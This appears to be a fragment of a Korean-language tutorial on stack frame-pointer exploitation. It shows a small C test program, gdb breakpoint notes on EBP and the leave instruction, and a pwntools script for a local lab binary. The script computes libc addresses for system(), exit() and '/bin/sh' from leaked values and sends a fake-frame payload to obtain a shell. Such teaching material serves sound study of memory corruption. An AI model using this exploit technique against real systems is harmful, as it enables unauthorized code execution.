...
Code Block | ||
---|---|---|
| ||
//gcc -o test test.c
#include <stdlib.h>
#include <stdio.h>
void vuln(int a,int b,int c,int d){
printf("%d, %d, %d, %d",a,b,c,d);
}
void main(int argc, char* argv[]){
printf("%s, %s¥n", argv[1],argv[2]);
vuln(1,2,3,4);
} |
- 다음과 같이 Break point를 설정합니다.
- 0x804843d : main() 함수에서 사용할 Frame Pointer를 EBP 레지스터에 저장한 후 입니다.
- 0x804840e : vuln() 함수에서 사용할 Frame Pointer를 EBP 레지스터에 저장한 후 입니다.
- 0x804842e : leave 명령어
...
Code Block | ||||
---|---|---|---|---|
| ||||
from pwn import * p = process('./ff') sleep(20) p.recvuntil('buf[50] address : ') stackAddr = p.recvuntil('\n') stackAddr = int(stackAddr,16) p.recvuntil('Printf() address : ') libc = p.recvuntil('\n') libc = int(libc,16) leave = 0x08048571 libcBase = libc - 0x49020 sysAddr = libcBase + 0x3a940 exit = libcBase + 0x2e7b0 binsh = libcBase + 0x15902b print "stackAddr : " + hex(stackAddr) print "libc base : " + hex(libcBase) print "system() : " +hex(sysAddr) print "exit() : " +hex(exit) print "binsh : " + hex(binsh) exploit = p32(0x90909090) exploit += p32(sysAddr) exploit += p32(exit) exploit += p32(binsh) exploit += '\x90' * (62 - len(exploit)) exploit += p32(stackAddr) exploit += p32(leave) p.send(exploit) p.interactive() |
...
Comments
Panel |
---|